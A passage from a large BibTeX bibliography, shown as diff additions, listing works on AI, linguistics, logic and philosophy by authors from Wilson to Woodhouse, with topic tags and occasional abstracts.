= {Unpublished manuscript.}, + topic = {foundations-of-language;} + } + +@article{ wilson_r:1998a, + author = {Rob Wilson}, + title = {Review of {\it Symbols, Computation, and Intentionality: A + Critique of the Computational Theory of Mind}, by {S}teven {W}. + {H}orst}, + journal = {Philosophical Review}, + year = {1998}, + volume = {107}, + number = {1}, + xref = {Review of horst:1996a.}, + pages = {120--125}, + topic = {foundations-of-semantics;intentionality; + foundations-of-cognition;philosophy-of-psychology;} + } + +@book{ wilson_ra-keil:1999a, + editor = {Robert A. Wilson and Frank C. Keil}, + title = {The {MIT} Encyclopedia of the Cognitive Sciences}, + publisher = {the {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + xref = {Review: nerbonne:2000a}, + topic = {cognitive-science-general;cognitive-science-survey;} + } + +@article{ wilson_ra:2001a, + author = {Robert A. Wilson}, + title = {The Cognitive Sciences: A Comment on Six Reviews + of {\it The {MIT} Encyclopedia of the Cognitive + Sciences}}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {130}, + number = {2}, + pages = {223--229}, + xref = {Response to: carr_c:2001a, carr_c:2001a, dorr:2001a, + husbands:2001a, lakoff_g:2001a, peterson_dm:2001a.}, + topic = {cognitive-science-general;cognitive-science-survey;} + } + +@article{ wilson_rh:1998a, + author = {Randall H. Wilson}, + title = {Geometric Reasoning about Assembly Tools}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {98}, + number = {1--2}, + pages = {237--279}, + topic = {assembly;spatial-reasoning;geometrical-reasoning;} + } + +@incollection{ winikoff-etal:2002a, + author = {Michael Winikoff and Lin Padgham and James Harland and + John Thangarajah}, + title = {Declarative and Procedural Goals in Intelligent Agent + Systems}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {470--481}, + address = {San Francisco, California}, + topic = {kr;foundations-of-planning;} + } + +@incollection{ winiwarter-kambayashi:1998a, + author = {Werner Winiwarter and Yahiko Kambayashi}, + title = {A Comparative Study of the Application of Different + Learning Techniques to Natural Language Interfaces}, + booktitle = {{CoNLL97}: Computational Natural Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {T. Mark Ellison}, + pages = {125--135}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;nl-interpretation;nl-interfaces;} + } + +@book{ winner:1988a, + author = {Ellen Winner}, + title = {The Points of Words: Children's Understanding of Metaphor + and Irony}, + publisher = {Harvard University Press}, + year = {1988}, + address = {Cambridge, Massachusetts}, + ISBN = {0674681258}, + topic = {irony;} + } + +@article{ winner-leekam:1991a, + author = {Ellen Winner and S. Leekam}, + title = {Distinguishing Irony from Deceptional Understanding of + the Speaker's Second-Order Intention}, + journal = {The {B}ritish Journal of Developmental Psychology}, + year = {1991}, + volume = {9}, + number = {2}, + pages = {257--270}, + missinginfo = {A's 1st names}, + topic = {irony;} + } + +@article{ winnie:2000a, + author = {John Winnie}, + title = {Information and Structure in Molecular Biology: + Comments on {M}aynard {S}mith}, + journal = {Philosophy of Science}, + year = {2000}, + volume = {67}, + number = {3}, + pages = {517--526}, + topic = {philosophy-of-biology;generics;theories-of-information;} + } + +@book{ winograd:1972a, + author = {Terry Winograd}, + title = {Understanding Natural Language}, + publisher = {Academic Press}, + year = {1972}, + address = {New York}, + topic = {nl-processing;} + } + +@article{ winograd:1979a, + author = {Terry Winograd}, + title = {Extended Inference Modes in Reasoning by Computer + Systems}, + journal = {Artificial Intelligence}, + year = {1979}, + volume = {13}, + number = {1--2}, + pages = {5--26}, + acontentnote = {Abstract: + This paper reviews the history of process-dependent reasoning in + AI systems, and argues that it represents an essentially + different approach to non-monotonic reasoning from other + formalizations. Much of the paper is a basic level tutorial, + explaining the issues and providing a framework for + understanding the essential features of non-monotonic reasoning. } , + topic = {nonmonotonic-reasoning;} + } + +@article{ winograd:1980a, + author = {Terry Winograd}, + title = {Extended Inference Modes in Reasoning by Computer Systems}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {13}, + pages = {5--26}, + missinginfo = {number}, + topic = {nonmonotonic-reasoning-survey;} + } + +@book{ winograd:1983a, + author = {Terry Winograd}, + title = {Language as a Cognitive Process}, + publisher = {Addison-Wesley}, + year = {1983}, + address = {Reading, Massachusetts}, + topic = {nlp-intro;nlp-survey;} + } + +@article{ winograd:1985a, + author = {Terry Winograd}, + title = {Moving the Semantic Fulcrum}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {1}, + pages = {91--104}, + topic = {situation-semantics;} + } + +@article{ winsberg-etal:2000a, + author = {Eric Winsberg and Mathias Frisch and Karen Merikangas + Duncan and Arthur Fine}, + title = {Review of {\it The Dappled World: A Study + in the Boundaries of Science}, by {N}ancy {C}artwright}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {2}, + pages = {403--408}, + xref = {Review of cartwright_n:1999a.}, + topic = {philosophy-of-science;natural-laws;} + } + +@book{ winskel:1993a, + author = {Glynn Winskel}, + title = {The Formal Semantics of Programming Languages}, + publisher = {The {MIT} Press}, + year = {1993}, + address = {Cambridge, Massachusetts}, + topic = {semantics-of-programming-languages;} + } + +@inproceedings{ winslett:1988a, + author = {Marianne Winslett}, + title = {Reasoning about Action Using a Possible Models Approach}, + booktitle = {Proceedings of the Seventh National Conference on + Artificial Intelligence}, + year = {1988}, + editor = {Reid Smith and Tom Mitchell}, + pages = {429--450}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {specific topics}, + topic = {action;frame-problem;ramification-problem;qualification-problem;} + } + +@inproceedings{ winslett:1989a, + author = {Marianne Winslett}, + title = {Sometimes Updates Are Circumscriptions}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {89--93}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {belief-revision;circumscription;database-update;} + } + +@unpublished{ winslett:1990a, + author = {Miarianne Winslett}, + title = {Setwise Circumscription}, + year = {1990}, + note = {Unpublished manuscript, University of Illinois.}, + topic = {circumscription;} + } + +@book{ winslett:1990b, + author = {Marianne Winslett}, + title = {Updating Logical Databases}, + publisher = {Cambridge University Press}, + year = {1990}, + address = {Cambridge, England}, + topic = {databases;database-update;belief-revision;} + } + +@article{ winslett:1991a, + author = {Marianne Winslett}, + title = {Circumscriptive Semantics for Updating Knowledge Bases}, + journal = {Annals of Mathematics and Artificial Intelligence}, + year = {1991}, + volume = {3}, + pages = {429--450}, + missinginfo = {number}, + topic = {circumscription;belief-revision;database-update;} + } + +@book{ winston_me:1982a, + author = {Morton E. Winston}, + title = {Explanation in Linguistics: A Critique of Generative + Grammar}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {philosophy-of-linguistics;} + } + +@book{ winston_ph:1975a, + author = {Patrick H. Winston}, + title = {The Psychology of Computer Vision}, + publisher = {McGraw-Hill}, + year = {1975}, + address = {New York}, + ISBN = {0070710481}, + xref = {Review: rosenfeld:1976a.}, + topic = {computer-vision;} +} + +@article{ winston_ph:1978a, + author = {Patrick H. Winston}, + title = {Learning by Creating and Justifying Transfer Frames}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {10}, + number = {2}, + pages = {147--172}, + topic = {machine-learning;frames;} + } + +@article{ winston_ph:1979a, + author = {Patrick H. Winston}, + title = {Learning and Reasoning by Analogy}, + journal = {Journal of the {A}ssociation for {C}omputing {M}achinery}, + year = {1979}, + volume = {23}, + pages = {689--703}, + topic = {analogy;analogical-reasoning;} + } + +@article{ winston_ph:1982a, + author = {Patrick H. Winston}, + title = {Learning New Principles from Precedents and Exercises}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {19}, + number = {3}, + pages = {321--350}, + acontentnote = {Abstract: + Much learning is done by way of studying precedents and + exercises. A teacher supplies a story, gives a problem, and + expects a student both to solve a problem and to discover a + principle. The student must find the correspondence between the + story and the problem, apply the knowledge in the story to solve + the problem, generalize to form a principle, and index the + principle so that it can be retrieved when appropriate. This + sort of learning pervades Management, Political Science, + Economics, Law, and Medicine, as well as the development of + common-sense knowledge about life in general. + This paper presents a theory of how it is possible to learn by + precedents and exercises and describes an implemented system + that exploits the theory. The theory holds that causal + relations identify the regularities that can be exploited from + past experience, given a satisfactory representation for + situations. The representation used stresses actors and objects + which are taken from English-like input and arranged into a kind + of semantic network. Principles emerge in the form of + production rules which are expressed in the same way situations + are. } , + topic = {case-based-reasoning;machine-learning;causal-reasoning;} + } + +@book{ winston_ph:1984a, + author = {Patrick H. Winston}, + title = {Artificial Intelligence}, + publisher = {Addison-Wesley Publishing Company}, + year = {1984}, + address = {Reading, Massachusetts}, + edition = {Second}, + xref = {Review: reese:1985a.}, + topic = {AI-intro;AI-survey;} + } + +@inproceedings{ winter:1995a, + author = {Yoad Winter}, + title = {Syncategorematic Conjunction and Structured Meanings}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {387--404}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;coordination;} + } + +@article{ winter:1996a, + author = {Yoad Winter}, + title = {A Unified Semantic Treatment of Singular {NP} Coordination}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {4}, + pages = {337--392}, + topic = {nl-semantic-types;polymorphism;coordination;plural;} + } + +@article{ winter:1997a, + author = {Yoad Winter}, + title = {Choice Functions and the Scopal Semantics of Indefinites}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {4}, + pages = {399--467}, + topic = {nl-semantics;nl-quantifier-scope;} + } + +@incollection{ winter:1999a, + author = {Yoad Winter}, + title = {Plural Type Quantification}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {229--234}, + address = {Amsterdam}, + topic = {nl-quantifiers;plural;} + } + +@article{ winter:2000a, + author = {Yoad Winter}, + title = {Distributivity and Dependency}, + journal = {Natural Language Semantics}, + year = {2000}, + volume = {8}, + number = {1}, + pages = {27--69}, + topic = {nl-semantics;plural;distributive/collective-readings;} + } + +@article{ winter:2001a, + author = {Yoad Winter}, + title = {Review of {\it Computing Meaning, Volume 1}, edited by + {H}arry {B}unt and {R}einhard {M}uskens}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {1}, + pages = {143--145}, + xref = {Review of bunt-muskens:1999a.}, + topic = {computational-semantics;} + } + +@article{ winter-sarkar:2002a, + author = {Shuly Winter and Anoop Sarkar}, + title = {A Note on Typing Feature Structures}, + journal = {Computational Linguistics}, + year = {2002}, + volume = {28}, + number = {3}, + pages = {389--397}, + topic = {typed-feature-structures;} + } + +@article{ wintner-francez:1999a, + author = {Shuly Wintner and Nissim Francez}, + title = {Off-Line Parsibility and the Well-Foundedness + of Subsumption}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {1}, + pages = {1--16}, + topic = {typed-feature-structure-logic;parsing-algorithms;} + } + +@article{ wipke-etal:1978a, + author = {W. Todd Wipke and Glenn I. Ouchi and S. Krishnan}, + title = {Simulation and Evaluation of Chemical Synthesis---{SECS}: + An Application of Artificial Intelligence Techniques}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {11}, + number = {1--2}, + pages = {173--193}, + acontentnote = {Abstract: + The problem of designing chemical syntheses of complex organic + compounds is a challenging domain for application of artificial + intelligence techniques. SECS is an interactive program to + assist a chemist in heuristically searching and evaluating the + space of good synthetic pathways. The chemist-computer team, + linked through computer graphics, develops synthetic plans using + a logic-centered backward analysis from the target structure. + The reaction knowledge base, written in the ALCHEM language, is + separate from the program and control strategies. Performance is + demonstrated on the insect pheromone grandisol. } , + topic = {computer-assisted-science;chemical-synthesis;} + } + +@book{ wirth:1976a, + editor = {Jessica R. Wirth}, + title = {Assessing Linguistic Arguments}, + publisher = {Hemisphere Publishing Corporation}, + year = {1976}, + address = {Washington, D.C.}, + contentnote = {TC: + 1. Rudolf P. Botha, "On the Analysis of Linguistic Argumentation" + 2. Fred R. Eckman, "Empirical and Nonempirical Generalizations + in Syntax" + 3. Michael B. Kac, "Hypothetical Constructs in Syntax" + 4. Jerrold M. Sadock, "On Significant Generalization: + Notes on the Hallean Syllogism" + 5. Michael N Perloff and Jessica R. Wirth, "On Independent + Motivation" + 6. Ray C. Dougherty, "Argument Invention: The Linguist's + `Feel' for Science" + 7. Sanford A. Schane, "The Best Argument is in the Mind of + the Beholder" + 8. Ashley J. Hastings and Andreas Koutsoudas, "Performance + Models and the Generative-Interpretive Debate" + 9. Myrna Gopnik, "What the Theorist Saw" + 10. Marvin D. Loflin, "Black English Deep Structure" + } , + topic = {philosophy-of-linguistics;foundations-of-linguistics;} + } + +@incollection{ wirth:1977a, + author = {Jessica R. Wirth}, + title = {Logical Considerations in the Testing of Linguistic + Hypotheses}, + booktitle = {Testing Linguistic Hypotheses}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David Cohen and Jessica Worth}, + pages = {211--220}, + address = {New York}, + topic = {philosophy-of-linguistics;} + } + +@article{ wisdom:1974a, + author = {William A. Wisdom}, + title = {Lewis {C}arroll's Infinite Regress}, + journal = {Mind}, + year = {1974}, + volume = {81}, + number = {332}, + pages = {571--573}, + xref = {This contains many references.}, + topic = {Achilles-and-the-tortoise;} + } + +@book{ wise-etal:1993a, + editor = {John A. Wise and V. David Hopkin and Paul Stager}, + title = {Verification and Validation of Complex Systems: Human + Factors Issues}, + publisher = {Springer-Verlag}, + year = {1993}, + address = {Berlin}, + ISBN = {3540565744}, + topic = {software-engineering;} + } + +@article{ wisniewski_a:1994a, + author = {Andrezej Wi\'sniewski}, + title = {Erotetic Implication}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {2}, + pages = {173--195}, + topic = {interrogatives;} + } + +@book{ wisniewski_a:1995a, + author = {Andrzej Wisniewski}, + title = {The Posing of Questions: Logical Foundations of Erotetic + Inferences}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + address = {Dordrecht}, + xref = {Review: harrah:1998a}, + topic = {nl-semantics;interrogatives;} + } + +@inproceedings{ wisniewski_rw-brown:1995a, + author = {Robert W. Wisniewski and Christopher M. Brown}, + title = {Adaptable Planner Primitives for Real-World Robotic + Applications}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {64--70}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {planning;foundations-of-robotics;} + } + +@article{ witkin:1981a, + author = {Andrew P. Witkin}, + title = {Recovering Surface Shape and Orientation from Texture}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {17}, + number = {1--3}, + pages = {17--45}, + topic = {texture;shape-recognition;computer-vision;} + } + +@article{ witten-bell_tc:1991a, + author = {Ian H. Witten and T.C. Bell}, + title = {The Zero-Frequency Problem: Estimating the Probabilities + of Novel Events in Adaptive Text Compression}, + journal = {{IEEE} Transactions on Information Theory}, + year = {1991}, + volume = {37}, + number = {4}, + pages = {1085--1094}, + missinginfo = {A's 1st name}, + topic = {statistical-nlp;frequency-estimation;} + } + +@book{ witten-frank_e:2000a, + author = {Ian H. Witten and Eibe Frank}, + title = {Data Mining: Practical Machine Learning Tools and + Techniques with {J}ava Implementations}, + publisher = {Morgan Kaufmann}, + year = {2000}, + address = {San Francisco}, + ISBN = {1-55860-552-5}, + xref = {Review: davis_e:2001a.}, + topic = {machine-learning;AI-courseware;data-mining;} + } + +@incollection{ wittenburg-wall:1981a, + author = {Kent Wittenburg and Robert E. Wall}, + title = {Parsing with Categorial + Grammar in Predicate Normal Form}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {65--83}, + address = {Dordrecht}, + topic = {parsing-algorithms;categorial-grammar;} + } + +@incollection{ witteveen:1991a, + author = {Cees Witteveen}, + title = {Skeptical Reason Maintenance is Tractable}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {570--581}, + address = {San Mateo, California}, + topic = {kr;truth-maintenance;kr-course;tractable-logics;} + } + +@article{ witteveen-brewka:1993a, + author = {Cees Witteveen and Gerhard Brewka}, + title = {Skeptical Reason Maintenance and Belief Revision}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {61}, + number = {1}, + pages = {1--36}, + topic = {truth-maintenance;belief-revision;} + } + +@incollection{ witteveen-etal:1994a, + author = {Cees Witteveen and Wiebe {van der Hoek} and Hans Nivelle}, + title = {Revision of Non-Monotonic Theories}, + booktitle = {Logics in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Craig Mac{N}ish and Lu\'is Moniz Pereira and David Pearce}, + pages = {137--151}, + address = {Berlin}, + topic = {nonmonotonic-logic;belief-revision;} + } + +@incollection{ witteveen:1996a, + author = {Cees Witteveen}, + title = {Belief Revision in Truth Maintenance}, + booktitle = {Logic, Action, and Information: Essays on Logic in + Philosophy and Artificial Intelligence}, + year = {1996}, + publisher = {Walter de Gruyter}, + editor = {Andr\'e Fuhrmann and Hans Rott}, + pages = {447--470}, + address = {Berlin}, + topic = {belief-revision;truth-maintenance;} + } + +@article{ witteveen-vanderhoek:1998a, + author = {Cees Witteveen and Wiebe {van der Hoek}}, + title = {Recovery of (Non)Monotonic Theories}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {106}, + number = {1}, + pages = {139--159}, + topic = {belief-revision;nonmonotonic-logic;} + } + +@book{ wobcke-etal:1998a, + editor = {Wayne Wobcke and Maurice Pagnucco and Chengqi Zhang}, + title = {Agents and Multi-Agent Systems: Formalisms, Methodologies, and + Applications. Based on the {AI}'97 Workshops on Commonsense Reasoning, + Intelligent Agents, and Distributed Artificial Intelligence, Perth, + Australia, December 1, 1997}, + publisher = {Springer-Verlag}, + year = {1998}, + address = {Berlin}, + ISBN = {3540647694 (softcover)}, + contentnote = {TC: + 1. Steven Shapiro, Yves Lesp\'erance and Hector J. + Levesque, "Specifying Communicative Multi-Agent Systems" + 2. Michael Wooldridge and Afsaneh Haddadi, "Making it up as They + Go along: A Theory of Reactive Cooperation" + 3. Wayne Wobcke, "Agency and the Logic of Ability" + 4. Alessio Lomuscio and Mark Ryan, "On the Relation between + Interpreted Systems and {K}ripke Models" + 5. Li-Yan Yuan and Jia-Huai You and Randy Goebel, "Disjunctive + Logic Programming and Possible Model Semantics" + 6. Kazumi Nakamatsu and Atsuyuki Suzuki, "A Non-Monotonic + {ATMS} Based on Annotated Logic Programs with + Strong Negation" + 7. Greg Gibbon and Janet Aisbett , "Switching between + Reasoning and Search" + 8. Bernard Moulin, "The Social Dimension of Interactions in + Multiagent Systems" + 9. Timothy J. Norman and Nicholas R. Jennings, "Generating + States of Joint Commitment between Autonomous Agents" + 10. Sascha Ossowski and Ana Garc\'ia-Serrano, "Social Co-Ordination + among Autonomous Problem-Solving Agents" + 11. Chengqi Zhang and Yuefeng Li, "An Algoritm for Plan + Verification in Multiple Agent Systems" + 12. Hung Hai Bui and Svetha Venkatesh and Dorota Kieronska, "A + Framework for Coordination and Learning among Teams of Agents" + 13. Bengt Carlsson and Stefan Johansson, "An Iterated + Hawk-and-Dove Game" + 14. Satoru Yoshida et al., "A Game-Theoretic Solution + of Conflicts among Competitive Agents" + 15. Chengqi Zhang and Xudong Luo , "Transformation between the + {EMYCIN} Model and the {B}ayesian Network" + 16. Dong Mei Zhang and Leila Alem and Kalina Yacef, "Using + Multi-Agent Approach for the Design of an Intelligent + Learning Environment" + 17. Minjie Zhang, "A Case-Based Strategy for + Solution Synthesis among Cooperative Expert Systems" + } , + topic = {agent-modeling;common-sense-reasoning;multiagent-systems;} + } + +@incollection{ wobcke:1999a, + author = {Wayne Wobcke}, + title = {The Role of Context in the Analysis and + Design of Agent Programs}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {403--416}, + address = {Berlin}, + topic = {context;agent-architectures;} + } + +@book{ woisetschlaeger:1976a, + author = {Erich F. Woisetschlaeger}, + title = {A Semantic Theory of the {E}nglish Auxiliary System}, + publisher = {Indiana University Linguistics Club}, + year = {1976}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {tense-aspect;English-language;auxiliary-verbs;nl-modality; + nl-semantics;} + } + +@book{ woisetschlaeger:1985a, + author = {Erich F. Woisetschlaeger}, + title = {A Semantic Theory of the {E}nglish Auxiliary System}, + publisher = {Garland Publishing Co.}, + address = {New York}, + year = {1985}, + topic = {nl-modality;nl-modality;auxiliary-verbs;modal-auxiliaries; + nl-semantics;} + } + +@article{ wojciki:1975a, + author = {Ryszard W\'ojciki}, + title = {Deterministic Systems}, + journal = {Erkenntnis}, + year = {1975}, + volume = {9}, + pages = {219--227}, + missinginfo = {number}, + topic = {(in)determinism;philosophy-of-science;} + } + +@article{ wojecki:1980a, + author = {Ryszard W\'ojecki}, + title = {Set Theoretic Representation of Empirical Phenomena}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {4}, + pages = {337--343}, + topic = {formalizations-of-physics;} + } + +@book{ wolck-matthews_ph:1965a, + author = {Wolfgang W\"olck and P.H. Matthews}, + title = {A Preliminary Classification of Adverbs in {E}nglish}, + publisher = {Indiana University Linguistics Club}, + year = {1965}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {adverbs;English-language;} + } + +@article{ wolenski:2001a, + author = {Jan Wole\'nski}, + title = {Review of {\it Exploring Logical Dynamics}, by + {J}ohan van {B}enthem}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {1}, + pages = {111--116}, + xref = {Review of vanbenthem:1996a.}, + topic = {dynamic-semantics;} + } + +@unpublished{ wolf:1974a, + author = {Robert G. Wolf}, + title = {A Survey of Many-Valued Logic (1966--1974)}, + year = {1974}, + note = {Unpublished manuscript, Southern Illinois University}, + topic = {many-valued-logic;bibliography;} + } + +@book{ wolff:1984a, + author = {Susanne Wolff}, + title = {Lexical Entries and Word Formation}, + publisher = {Indiana University Linguistics Club}, + year = {1984}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {derivational-morphology;lexical-rules;} + } + +@article{ wolfl:2002a, + author = {Stefan W\"olfl}, + title = {Propositional {Q}-Logic}, + journal = {Journal of Philosophical Logic}, + year = {2002}, + volume = {31}, + number = {5}, + pages = {387--414}, + topic = {stit;} + } + +@book{ wolfram:1989a, + author = {Sybil Wolfram}, + title = {Philosophical Logic: An Introduction}, + publisher = {Routledge}, + year = {1989}, + address = {London}, + ISBN = {0415023181 (pbk.)}, + topic = {philosophical-logic;} + } + +@book{ wollheim:1999a, + author = {Richard Wollheim}, + title = {On the Emotions}, + publisher = {Yale University Press}, + year = {1999}, + address = {New Haven}, + xref = {Review: harrison_rh:2001a.}, + topic = {emotion;} + } + +@book{ wolman:1965a, + editor = {Benjamin B. Wolman}, + title = {Scientific Psychology; Principles and Approaches}, + publisher = {Basic Books}, + year = {1965}, + address = {New York}, + ISBN = {0934613443 (U.S.)}, + topic = {psychology-general;} + } + +@inproceedings{ wolper:1981a, + author = {P. Wolper}, + title = {Temporal Logic Can Be More Expressive}, + booktitle = {Twenty-Second Annual Symposium on Foundations of + Computer Science}, + year = {1981}, + pages = {340--348}, + missinginfo = {A's 1st name, publisher, address}, + title = {Reasoning about Infinite Computation Paths}, + booktitle = {Twenty-Fourth {IEEE} Symposium on Foundations of + Computer Science}, + year = {1983}, + organization = {IEEE}, + pages = {185--194}, + missinginfo = {A's 1st name, publisher, address}, + topic = {temporal-logic;theory-of-computation;} + } + +@article{ wolter:1995a, + author = {Frank Wolter}, + title = {The Finite Model Property in Tense Logic}, + journal = {The Journal of Symbolic Logic}, + year = {1995}, + volume = {60}, + number = {3}, + pages = {757--774}, + topic = {temporal-logic;finite-model-property;} + } + +@article{ wolter:1997a, + author = {Frank Wolter}, + title = {A Note on the Interpolation Property in Tense Logic}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {3}, + pages = {545--551}, + topic = {proof-theory;temporal-logic;} + } + +@article{ wolter:1998a, + author = {Frank Wolter}, + title = {On Logics with Coimplication}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {4}, + pages = {353--387}, + topic = {intuitionistic-logic;temporal-logic;} + } + +@incollection{ wolter:1998b, + author = {Frank Wolter}, + title = {Fusions of Modal Logics Revisited}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {361--379}, + address = {Stanford, California}, + topic = {modal-logic;} + } + +@incollection{ wolter-zakharyaschev:1998a, + author = {Frank Wolter and Michael Zakharyaschev}, + title = {Satisfiability Problem in Description Logics with + Modal Operators}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {512--523}, + address = {San Francisco, California}, + topic = {kr;taxonomic-logics;modal-logic;kr-course;} + } + +@inproceedings{ wolter-zakharyaschev:2000a, + author = {Frank Wolter and Michael Zakharyaschev}, + title = {Spatio-Temporal Representation and Reasoning based + on {RCC-8}}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {3--14}, + topic = {spatial-reasoning;temporal-reasoning;} + } + +@article{ wolter-zakharyaschev:2001a, + author = {Frank Wolter and Michael Zakharyaschev}, + title = {Decidable Fragments of First-Order Modal Logics}, + journal = {Journal of Symbolic Logic}, + year = {2001}, + volume = {66}, + number = {3}, + pages = {1415--1438}, + topic = {modal-logic;decidability;subtheories-of-FOL;} + } + +@inproceedings{ wolters:1997a, + author = {Maria Wolters}, + title = {Compositional Semantics of {G}erman Prefix Verbs}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {525--527}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {German-language;lexical-semantics; + HPSG;verb-particle-combinations;} + } + +@article{ wong_jf:1993a, + author = {JooFung Wong}, + title = {Review of {\it Paradigms of Artificial Intelligence Programming: + A Student's Perspective}, by {P}eter {N}orvig}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {64}, + number = {1}, + pages = {161--167}, + xref = {Review of norvig:1992a.}, + topic = {AI-programming;AI-intro;} + } + +@book{ wood_d:1993a, + author = {Derick Wood}, + title = {Data Structures, Algorithms, and Performance}, + publisher = {Addison-Wesley}, + year = {1993}, + address = {Reading}, + ISBN = {0201521482}, + topic = {abstract-data-types;algorithms;} + } + +@book{ wood_mm:1993a, + author = {Mary McGee Wood}, + title = {Categorial Grammars}, + publisher = {Routledge}, + year = {1993}, + address = {London}, + ISBN = {0415049547}, + topic = {categorial-grammar;} + } + +@article{ wood_o:1950a, + author = {O. Wood}, + title = {The Force of Linguistic Rules}, + journal = {Proceedings of the {A}ristotelian Society, New Series}, + year = {1950--51}, + volume = {70}, + pages = {313--328}, + topic = {philosophy-of-linguistics;} + } + +@article{ woodfield:1986a, + author = {Andrew Woodfield}, + title = {Two Categories of Content}, + journal = {Mind and Language}, + year = {1986}, + volume = {1}, + number = {4}, + pages = {319--354}, + contentnote = {Appears to be criticism of Dretske.}, + topic = {philosophy-of-mind;propositional-attitudes;} + } + +@article{ woodham:1981a, + author = {Robert J. Woodham}, + title = {Analysing Images of Curved Surfaces}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {17}, + number = {1--3}, + pages = {117--140}, + acontentnote = {Abstract: + A reflectance map makes the relationship between image intensity + and surface orientation explicit. Trade-offs between image + intensity and surface orientation emerge which cannot be + resolved locally in a single view. Existing methods for + determining surface orientation from a single view embody + assumptions about surface curvature. The Hessian matrix is + introduced to represent surface curvature. Properties of + surface curvature are expressed as properties of the Hessian + matrix. For several classes of surface, image analysis + simplifies. This result has already been established for planar + surfaces forming trihedral corners. Similar simplification is + demonstrated for developable surfaces and for the subclass of + surfaces known as generalized cones. These studies help to + delineate shape information that can be determined from + geometric measurements at object boundaries and shape + information that can be determined from intensity measurements + over sections of smoothly curved surface. + A novel technique called photometric stereo is discussed. The + idea of stereo is to obtain multiple images in order to + determine the underlying scene precisely. In photometric stereo, + the viewing direction is constant. Multiple images are obtained + by varying the incident illumination. It is shown that this + provides sufficient information to determine surface orientation + at each image point. } , + topic = {computer-vision;shape-recognition;} + } + +@book{ woodhouse:1980a, + author = {Michael B Woodhouse}, + title = {A Preface to Philosophy}, + edition = {2}, + publisher = {Wadsworth Publishing Co.}, + 